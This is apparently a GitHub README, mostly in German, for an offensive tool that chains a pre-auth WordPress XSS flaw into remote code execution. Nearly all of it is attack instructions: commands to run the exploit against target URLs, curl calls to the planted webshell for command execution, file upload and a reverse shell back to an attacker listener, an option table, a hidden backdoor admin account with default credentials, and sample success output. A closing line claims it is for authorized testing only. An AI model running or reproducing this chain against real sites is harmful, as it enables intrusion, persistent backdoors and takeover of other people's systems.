g0d150ne/xss2shellNutzt eine Pre-Auth-XSS-Schwachstelle in WordPress (CVE-2026-64638) aus, um Remote-Codeausführung zu erlangen, und installiert eine AES-verschlüsselte Backdoor-Webshell mit Persistenz, Datei-Upload, Reverse-Shell und Stealth-Optionen für autorisierte Red-Team-Einsätze.
WordPress Pre-Auth-XSS → RCE-Exploit-Kette
Entwickelt von G0D150NE
# Clone
git clone https://github.com/g0d150ne/XSS2Shell.git
cd XSS2Shell
# Install dependencies
pip3 install requests beautifulsoup4 cryptography
# Run
python3 poc.py -h
# Open terminal for reverse shell
nc -lvnp 4444
Auto-Modus (empfohlen)
python3 poc.py http://target.com -u admin -p pass123 --lhost 192.168.1.100
XSS-Modus (ohne Anmeldedaten)
python3 poc.py http://target.com --mode xss --lhost 192.168.1.100
Direkt-Modus (mit Anmeldedaten)
python3 poc.py http://target.com -u admin -p pass123 --mode direct --lhost 192.168.1.100
Nach Installation der WebShell:
# Base64 encoded (recommended)
curl 'http://target.com/wp-content/plugins/g0d150ne/g0d150ne.php?b2h='$(echo -n 'id' | base64)
# Plain command
curl 'http://target.com/wp-content/plugins/g0d150ne/g0d150ne.php?cmd=whoami'
# Upload file
curl -F '[email protected]' http://target.com/wp-content/plugins/g0d150ne/g0d150ne.php
# Reverse shell
curl 'http://target.com/wp-content/plugins/g0d150ne/g0d150ne.php?rev=1'
# 1. Auto scan + exploit
python3 poc.py http://wordpress-site.com -u admin -p pass123 --lhost 10.0.0.5
# 2. XSS chain without credentials
python3 poc.py http://wordpress-site.com --mode xss --lhost 10.0.0.5
# 3. Custom port & plugin name
python3 poc.py http://wordpress-site.com -u admin -p pass123 --lhost 10.0.0.5 --lport 1337 --slug backdoor
# 4. Change backdoor password
python3 poc.py http://wordpress-site.com -u admin -p pass123 --lhost 10.0.0.5 --backdoor-pass MySecretPass
# 5. Custom callback port
python3 poc.py http://wordpress-site.com --mode xss --lhost 10.0.0.5 --callback-port 9999
| Option | Beschreibung | Standard |
|---|---|---|
target | Ziel-WordPress-URL | Erforderlich |
-u, --username | WordPress-Admin-Benutzername | - |
-p, --wp-pass | WordPress-Admin-Passwort | - |
--lhost | Listener-IP-Adresse | 127.0.0.1 |
--lport | Listener-Port | 4444 |
--mode | Exploit-Modus (auto/xss/direct) | auto |
--slug | Plugin-Slug-Name | g0d150ne |
--callback-port | Callback-Server-Port | 9090 |
--backdoor-pass | Backdoor-Passwort | G0D150NE |
Nach erfolgreichem Exploit:
| Funktion | Befehl |
|---|---|
| Befehl ausführen | ?b2h=BASE64_CMD |
| Datei hochladen | -F '[email protected]' |
| Reverse Shell | ?rev=1 |
| Direkter Befehl | ?cmd=id |
| Verschlüsselte Backdoor | ?decrypt=AES_DATA |
Versteckter Admin erstellt:
sysadmin_{slug}{backdoor-pass} (Standard: G0D150NE)╔══════════════════════════════════════════════════════════════════╗
║ Target : http://wordpress-site.com
║ Attacker : 192.168.1.100:4444
║ Plugin : g0d150ne
║ Mode : AUTO
╚══════════════════════════════════════════════════════════════════╝
[•] Detecting WordPress version...
[+] WordPress version: 6.7.0
[•] Testing XSS vulnerability...
[+] XSS vulnerable! Vector: <area id=ajaxurl...
[+] Login successful as admin
[+] Plugin uploaded successfully
[+] Webshell ready: http://target.com/wp-content/plugins/g0d150ne/g0d150ne.php
[+] Test: uid=33(www-data)
╔══════════════════════════════════════════════════════════════════╗
║ [+] EXPLOIT SUCCESSFUL ║
╠══════════════════════════════════════════════════════════════════╣
║ WEBSHELL: ║
║ http://target.com/wp-content/plugins/g0d150ne/g0d150ne.php ║
║ ADMIN USER CREATED: ║
║ Username: sysadmin_g0d150ne ║
║ Password: G0D150NE ║
╚══════════════════════════════════════════════════════════════════╝
| Problem | Lösung |
|---|---|
ModuleNotFoundError | pip3 install requests beautifulsoup4 cryptography |
Connection refused | Listener prüfen: nc -lvnp 4444 |
Login failed | Anmeldedaten überprüfen oder XSS-Modus verwenden |
Plugin upload failed | Berechtigungen prüfen, anderen Slug verwenden |
Argument conflict | -p für wp-pass, --backdoor-pass für die Backdoor verwenden |
Nur für Bildungszwecke und autorisierte Tests.
Verwenden Sie das Tool nur auf Systemen, die Ihnen gehören oder für die Sie eine ausdrückliche Testgenehmigung haben.
Der Autor übernimmt keine Verantwortung für Missbrauch oder Schäden.